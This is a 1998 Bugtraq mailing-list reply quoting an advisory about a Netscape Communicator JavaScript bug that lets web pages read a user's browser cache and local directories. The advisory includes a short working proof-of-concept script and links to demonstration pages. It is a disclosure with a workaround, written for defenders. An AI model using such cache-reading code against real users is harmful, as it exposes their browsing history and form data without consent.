Good work. FYI, when I tested the pages with NT the cache reading problem was also there, but the directory reading script appeared to be blocked with the following error messages: "JavaScript Error: file:/c|/, line 2: access disallowed from scripts at http://www.geocities.com/ResearchTriangle/1711/b5.html to documents at another domain." Jim Reavis SecurityPortal.com - The focal point for security on the Net Jreavisat_private <mailto:Jreavisat_private> (360) 739-9629 -----Original Message----- From: Georgi Guninski [mailto:guninskiat_private] Sent: Wednesday, October 28, 1998 10:22 AM To: BUGTRAQat_private Subject: Javascript bug in Netscape Communicator 4.5 There is a bug in Netscape Communicator 4.5, 4.07, 3.04 under Windows 95 (probably others) which allows reading user's cache (the urls the user has visited, including the info in GET forms). Reading local directories content is also allowed. This info may be sent to an arbitrary host. The bug may be exploited by email. Demonstration is available at: Cache reading: http://www.geocities.com/ResearchTriangle/1711/b4.html Directory reading: http://www.geocities.com/ResearchTriangle/1711/b5.html The javascript code is: sl=window.open('wysiwyg://1/about:cache'); //For Netscape 3.04 remove 'wysiwyg://1/' sl2=sl.window.open(); sl2.location="javascript:function f() {s='<SCRIPT>cr=\"\t \"; x=\"Here are some links from your cache:\"; for(i=0;i<5;i++) x+=opener.document.links[i]+cr;alert(x);</'+'SCRIPT>';return s};f()"; sl2.location.reload(); Workaround: Disable Javascript. Regards, Georgi Guninski http://www.geocities.com/ResearchTriangle/1711/ ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com
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